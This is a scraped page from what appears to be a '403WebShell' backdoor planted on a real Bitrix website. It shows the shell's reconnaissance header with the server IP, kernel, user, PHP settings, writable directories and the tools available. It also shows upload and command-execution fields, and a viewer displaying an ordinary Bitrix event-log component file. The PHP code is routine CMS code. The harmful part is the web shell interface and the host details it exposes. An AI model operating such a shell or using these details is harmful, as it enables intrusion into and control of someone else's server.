%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.224.65.20
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/event_list/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/event_list//component.php
<?php
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)
	die();

/**
 * Bitrix vars
 * @global CUser $USER
 * @global CMain $APPLICATION
 * @var array $arParams
 * @var array $arResult
 * @var CBitrixComponent $this
 */

if(!$USER->CanDoOperation('view_event_log'))
{
	ShowError(GetMessage("ACCESS_DENIED"));
	return;
}

/** @var CEventMain[] $arModuleObjects */
$arModuleObjects = array();
$arAllFilter = array();

$currentTemplateName = $this->getTemplateName();
if ($currentTemplateName == "grid")
{
	$arResult["GRID_ID"] = "event_list_grid";
	$arResult["ELEMENTS_ROWS"] = array();

	$grid = new CGridOptions($arResult["GRID_ID"]);
	$nav = $grid->GetNavParams();
	$arParams["PAGE_NUM"] = $nav["nPageSize"];
}

foreach(GetModuleEvents("main", "OnEventLogGetAuditHandlers", true) as $arEvent)
{
	$ModuleEvent = ExecuteModuleEventEx($arEvent);
	$arModuleObjects[] = $ModuleEvent;
	$arAllFilter = $arAllFilter + $ModuleEvent->GetFilter();
}
if (is_array($arParams["FILTER"]))
{
	foreach($arParams["FILTER"] as $key => $val)
	{
		$arResult["ActiveFeatures"][$val] = $arAllFilter[$val];
	}
}
if (is_array($arResult["ActiveFeatures"]) && count($arResult["ActiveFeatures"]) > 0)
{
	$arResult["NO_ACTIVE_FEATURES"] = false;
	if (!isset($_REQUEST["flt_event_id"]))
	{
		$arParams["EVENT_ID"] = CUserOptions::GetOption("main", "~event_list");
		$flt_event_id = (empty($arParams["EVENT_ID"])) ? $arParams["FILTER"] : $arParams["EVENT_ID"];
	}
	else
	{
		$arResult["flt_event_id"] = $_REQUEST["flt_event_id"];
		if (array_key_exists("flt_event_id_all", $_REQUEST) && $_REQUEST["flt_event_id_all"] == "Y")
		{
			$arParams["EVENT_ID"] = "";
			$flt_event_id = $arParams["FILTER"];
			if($USER->IsAuthorized() && check_bitrix_sessid())
				CUserOptions::DeleteOption("main", "~event_list");
		}
		else
		{
			$flt_event_id = $_REQUEST["flt_event_id"];    // checked events
			foreach($flt_event_id as $key => $val)
				$flt_event_id[$key] = htmlspecialcharsbx($val);
			$arParams["EVENT_ID"] = $flt_event_id;
			if($USER->IsAuthorized() && check_bitrix_sessid())
				CUserOptions::SetOption("main", "~event_list", $arParams["EVENT_ID"]);
		}
	}

	$arObjectTypes = array(
		"USER_AUTHORIZE" => "[USER_AUTHORIZE] ".GetMessage("MAIN_EVENTLOG_USER_AUTHORIZE"),
		"USER_DELETE" => "[USER_DELETE] ".GetMessage("MAIN_EVENTLOG_USER_DELETE"),
		"USER_INFO" => "[USER_INFO] ".GetMessage("MAIN_EVENTLOG_USER_INFO"),
		"USER_LOGIN" => "[USER_LOGIN] ".GetMessage("MAIN_EVENTLOG_USER_LOGIN"),
		"USER_LOGINBYHASH" => "[USER_LOGINBYHASH] ".GetMessage("MAIN_EVENTLOG_USER_LOGINBYHASH_FAILED"),
		"USER_LOGOUT" => "[USER_LOGOUT] ".GetMessage("MAIN_EVENTLOG_USER_LOGOUT"),
		"USER_PASSWORD_CHANGED" => "[USER_PASSWORD_CHANGED] ".GetMessage("MAIN_EVENTLOG_USER_PASSWORD_CHANGED"),
		"USER_REGISTER" => "[USER_REGISTER] ".GetMessage("MAIN_EVENTLOG_USER_REGISTER"),
		"USER_REGISTER_FAIL" => "[USER_REGISTER_FAIL] ".GetMessage("MAIN_EVENTLOG_USER_REGISTER_FAIL"),
		"USER_GROUP_CHANGED" => "[USER_GROUP_CHANGED] ".GetMessage("MAIN_EVENTLOG_GROUP"),
		"GROUP_POLICY_CHANGED" => "[GROUP_POLICY_CHANGED] ".GetMessage("MAIN_EVENTLOG_GROUP_POLICY"),
		"MODULE_RIGHTS_CHANGED" => "[MODULE_RIGHTS_CHANGED] ".GetMessage("MAIN_EVENTLOG_MODULE"),
		"FILE_PERMISSION_CHANGED" => "[FILE_PERMISSION_CHANGED] ".GetMessage("MAIN_EVENTLOG_FILE"),
		"TASK_CHANGED" => "[TASK_CHANGED] ".GetMessage("MAIN_EVENTLOG_TASK"),
		"MP_MODULE_INSTALLED" => "[MP_MODULE_INSTALLED] ".GetMessage("MAIN_EVENTLOG_MP_MODULE_INSTALLED"),
		"MP_MODULE_UNINSTALLED" => "[MP_MODULE_UNINSTALLED] ".GetMessage("MAIN_EVENTLOG_MP_MODULE_UNINSTALLED"),
		"MP_MODULE_DELETED" => "[MP_MODULE_DELETED] ".GetMessage("MAIN_EVENTLOG_MP_MODULE_DELETED"),
		"MP_MODULE_DOWNLOADED" => "[MP_MODULE_DOWNLOADED] ".GetMessage("MAIN_EVENTLOG_MP_MODULE_DOWNLOADED"),
	);

	$arFilter["MODULE_ITEM"] = array();           //filter for GetList
	if (\Bitrix\Main\ModuleManager::isModuleInstalled("bitrix24"))
	{
		$arFilter["MODULE_ITEM"][] = array(
			"AUDIT_TYPE_ID" => "USER_AUTHORIZE"
		);
	}
	else
	{
		foreach($arModuleObjects as $key => $val)
		{
			$arObjectTypes = array_merge($arObjectTypes, $val->GetAuditTypes());

			$ar = $val->GetFilter();
			$filters = array_keys($ar);
			$var = array_intersect($filters, $flt_event_id);
			if ($var)
			{
				if(isset($ar["IBLOCK"]))
				{
					//iblock has more complex structure because logs are kept for individual blocks
					$var = $filters;
				}
				$arFilter["MODULE_ITEM"] = array_merge($arFilter["MODULE_ITEM"], $val->GetFilterSQL($var));
			}
		}
	}

	//USER
	if (is_array($_REQUEST["flt_created_by_id"]))
		$_REQUEST["flt_created_by_id"] = $_REQUEST["flt_created_by_id"][0];

	$find_user_id = "";
	if (intval($_REQUEST["flt_created_by_id"]) > 0)
	{
		$find_user_id = $_REQUEST["flt_created_by_id"];
	}
	else
	{
		if (CModule::IncludeModule("socialnetwork"))
		{
			$arFoundUsers = CSocNetUser::SearchUser($_REQUEST["flt_created_by_id"], false);
			if (is_array($arFoundUsers) && count($arFoundUsers) > 0)
				$find_user_id = key($arFoundUsers);
		}
	}

	// for date
	if (
		array_key_exists("flt_date_datesel", $_REQUEST)
		&& $_REQUEST["flt_date_datesel"] <> ''
	)
	{
		$_REQUEST["flt_date_datesel"] = htmlspecialcharsbx($_REQUEST["flt_date_datesel"]);
		switch($_REQUEST["flt_date_datesel"])
		{
			case "today":
				$arParams["LOG_DATE_FROM"] = ConvertTimeStamp(MakeTimeStamp(date("d.m.Y 00:00:00"), "DD.MM.YYYY HH:MI:SS"), "FULL");
				$arParams["LOG_DATE_TO"] = ConvertTimeStamp(time(), "FULL");

				break;
			case "yesterday":
				$arParams["LOG_DATE_FROM"] = ConvertTimeStamp(MakeTimeStamp(date("d.m.Y 00:00:00", time() - 86400), "DD.MM.YYYY HH:MI:SS"), "FULL");
				$arParams["LOG_DATE_TO"] = ConvertTimeStamp(MakeTimeStamp(date("d.m.Y 23:59:59", time() - 86400), "DD.MM.YYYY HH:MI:SS"), "FULL");
				break;
			case "week":
				$day = date("w");
				if($day == 0)
					$day = 7;
				$arParams["LOG_DATE_FROM"] = ConvertTimeStamp(time()-($day-1)*86400, "FULL");
				$arParams["LOG_DATE_TO"] = ConvertTimeStamp(time()+(7-$day)*86400, "FULL");
				break;
			case "week_ago":
				$day = date("w");
				if($day == 0)
					$day = 7;
				$arParams["LOG_DATE_FROM"] = ConvertTimeStamp(time()-($day-1+7)*86400, "FULL");
				$arParams["LOG_DATE_TO"] = ConvertTimeStamp(time()-($day)*86400, "FULL");
				break;
			case "month":
				$arParams["LOG_DATE_FROM"] = ConvertTimeStamp(mktime(0, 0, 0, date("n"), 1), "FULL");
				$arParams["LOG_DATE_TO"] = ConvertTimeStamp(mktime(0, 0, 0, date("n")+1, 0), "FULL");
				break;
			case "month_ago":
				$arParams["LOG_DATE_FROM"] = ConvertTimeStamp(mktime(0, 0, 0, date("n")-1, 1), "FULL");
				$arParams["LOG_DATE_TO"] = ConvertTimeStamp(mktime(0, 0, 0, date("n"), 0), "FULL");
				break;
			case "days":
				$arParams["LOG_DATE_FROM"] = ConvertTimeStamp(time() - intval($_REQUEST["flt_date_days"])*86400, "FULL");
				$arParams["LOG_DATE_TO"] = "";
				break;
			case "exact":
				$day = ConvertDateTime($_REQUEST["flt_date_from"], "DD.MM.YYYY");
				$arParams["LOG_DATE_FROM"] = ConvertTimeStamp(MakeTimeStamp($day." 00:00:00", "DD.MM.YYYY HH:MI:SS"), "FULL");
				$arParams["LOG_DATE_TO"] = ConvertTimeStamp(MakeTimeStamp($day." 23:59:59", "DD.MM.YYYY HH:MI:SS"), "FULL");

				break;
			case "after":
				$arParams["LOG_DATE_FROM"] = $_REQUEST["flt_date_from"];
				$arParams["LOG_DATE_TO"] = "";
				break;
			case "before":
				$arParams["LOG_DATE_FROM"] = "";
				$arParams["LOG_DATE_TO"] = $_REQUEST["flt_date_to"];
				break;
			case "interval":
				$dayFrom = ConvertDateTime($_REQUEST["flt_date_from"], "DD.MM.YYYY");
				$dayTo = ConvertDateTime($_REQUEST["flt_date_to"], "DD.MM.YYYY");
				$arParams["LOG_DATE_FROM"] = ConvertTimeStamp(MakeTimeStamp($dayFrom." 00:00:00", "DD.MM.YYYY HH:MI:SS"), "FULL");
				$arParams["LOG_DATE_TO"] = ConvertTimeStamp(MakeTimeStamp($dayTo." 23:59:59", "DD.MM.YYYY HH:MI:SS"), "FULL");
				break;
		}
	}
	elseif (array_key_exists("flt_date_datesel", $_REQUEST))
	{
		$arParams["LOG_DATE_FROM"] = "";
		$arParams["LOG_DATE_TO"] = "";
	}
	else
	{
		if (array_key_exists("flt_date_from", $_REQUEST))
		{
			$_REQUEST["flt_date_from"] = htmlspecialcharsbx($_REQUEST["flt_date_from"]);
			$arParams["LOG_DATE_FROM"] = trim($_REQUEST["flt_date_from"]);
		}
		if (array_key_exists("flt_date_to", $_REQUEST))
		{
			$_REQUEST["flt_date_to"] = htmlspecialcharsbx($_REQUEST["flt_date_to"]);
			$arParams["LOG_DATE_TO"] = trim($_REQUEST["flt_date_to"]);
		}
	}
	//=============End date

	if (
		array_key_exists("flt_ip", $_REQUEST)
		&& $_REQUEST["flt_ip"] <> ''
	)
	{
		$ip = htmlspecialcharsbx($_REQUEST["flt_ip"]);
		$arParams["IP"] = trim($ip);
	}

	function CheckFilter()
	{
		if($_REQUEST["flt_date_from"] <> '')
		{
			if(!CheckDateTime($_REQUEST["flt_date_from"], CSite::GetDateFormat("FULL")))
				return false;
		}
		if($_REQUEST["flt_date_to"] <> '')
		{
			if(!CheckDateTime($_REQUEST["flt_date_to"], CSite::GetDateFormat("FULL")))
				return false;
		}
		return true;
	}

	if(CheckFilter())
	{
		if ($arFilter["MODULE_ITEM"] != "")
			$arEventFilter["=MODULE_ITEM"] = $arFilter["MODULE_ITEM"];
		if ($arParams["LOG_DATE_FROM"] != "")
			$arEventFilter["TIMESTAMP_X_1"] = $arParams["LOG_DATE_FROM"];
		if ($arParams["LOG_DATE_TO"] != "")
			$arEventFilter["TIMESTAMP_X_2"] = $arParams["LOG_DATE_TO"];
		if ($arParams["IP"] != "")
			$arEventFilter["REMOTE_ADDR"] = $arParams["IP"];
		$arEventFilter["USER_ID"] =  ($find != '' && $find_type == "user_id" ? $find : $find_user_id);

		$nameFormat = CSite::GetNameFormat(false);

		$arUsersTmp = array();
		$arNavParams = array("nPageSize"=>$arParams["PAGE_NUM"], "bShowAll"=>false);

		$arSort = array('TIMESTAMP_X' => 'DESC');
		if ($currentTemplateName == "grid")
		{
			$arSort = $grid->GetSorting(array('sort' => array('TIMESTAMP_X' => 'DESC')));
			$arSort = $arSort['sort'];
		}
		$arResult['SORT'] = $arSort;

		$results = CEventLog::GetList($arResult['SORT'], $arEventFilter, $arNavParams);
		$results->NavStart($arNavParams);  //page navigation
		$arResult["NAV"] = $results;
		while($row = $results->NavNext())
		{
			if (!isset($arUsersTmp[$row['USER_ID']]))
			{
				$arUserInfo = array();
				$rsUser = CUser::GetList("", "",
					array("ID_EQUAL_EXACT" => intval($row['USER_ID'])),
					array("FIELDS" => array('ID', 'NAME', 'LAST_NAME', 'SECOND_NAME', 'LOGIN', 'EMAIL', 'PERSONAL_PHOTO', 'EXTERNAL_AUTH_ID'))
				);
				if($arUser = $rsUser->GetNext())
				{
					if (in_array($arUser["EXTERNAL_AUTH_ID"], \Bitrix\Main\UserTable::getExternalUserTypes()))
					{
						continue;
					}

					$arUserInfo["ID"] = $row['USER_ID'];
					$arUserInfo["FULL_NAME"] = CUser::FormatName($nameFormat, $arUser, true, false);
					$arUserInfo['avatar'] = CFile::ResizeImageGet(
						$arUser["PERSONAL_PHOTO"],
						array("width"=>30, "height"=>30),
						BX_RESIZE_IMAGE_EXACT,
						false
					);
					$arUsersTmp[$row['USER_ID']] = $arUserInfo;
				}
			}
			else
			{
				$arUserInfo = $arUsersTmp[$row['USER_ID']];
			}

			$dateFormated = FormatDateFromDB($row["TIMESTAMP_X"], CSite::GetDateFormat('SHORT'));
			$time = FormatDateFromDB($row["TIMESTAMP_X"], CSite::GetTimeFormat());
			foreach($arModuleObjects as $key => $val)
			{
				if (isset($arObjectTypes[$row['AUDIT_TYPE_ID']]))
				{
					$res = $val->GetEventInfo($row, $arParams, $arUserInfo, $arResult["ActiveFeatures"]);
					$eventName = preg_replace("/^\\[.*?\\]\\s+/", "", $arObjectTypes[$row['AUDIT_TYPE_ID']]);

					if (in_array($row['AUDIT_TYPE_ID'], array("PAGE_EDIT", "PAGE_ADD", "PAGE_DELETE")))
					{
						$path = unserialize($row["DESCRIPTION"], ['allowed_classes' => false]);
						$path = $path["path"];
						if ($path)
						{
							$eventName.= ": ".$path;
						}
					}

					//for grid template
					if ($currentTemplateName == "grid")
					{
						$userPath = CComponentEngine::MakePathFromTemplate($arParams["USER_PATH"], array("user_id" => $arUserInfo["ID"], "SITE_ID" => SITE_DIR));
						$userVal = "<a href=\"".$userPath."\">".$arUserInfo["FULL_NAME"]."</a>";

						$arResult["ELEMENTS_ROWS"][] = array("data" => array(
							"ID" => $row["ID"],
							"IP" => $row["REMOTE_ADDR"],
							"DATE_TIME" => FormatDateFromDB($row["TIMESTAMP_X"], CSite::GetDateFormat()),
							"USER_NAME" => $userVal,
							"EVENT_NAME" => $eventName
						));
					}
					else //for default template
					{
						$res['user'] = array(
							"name" => $arUserInfo["FULL_NAME"],
							"id" => $arUserInfo["ID"],
							"avatar" => $arUserInfo["avatar"]["src"]
						);
						if (empty($res["eventType"]))
						{
							$res["eventType"] = $eventName;
						}

						$arResult['EVENT'][$dateFormated][] = $res;
					}

					break;
				}
			}
		}
	}
}
else
{
	$arResult["NO_ACTIVE_FEATURES"] = true;
}

$this->IncludeComponentTemplate();

Youez - 2016 - github.com/yon3zu
LinuXploit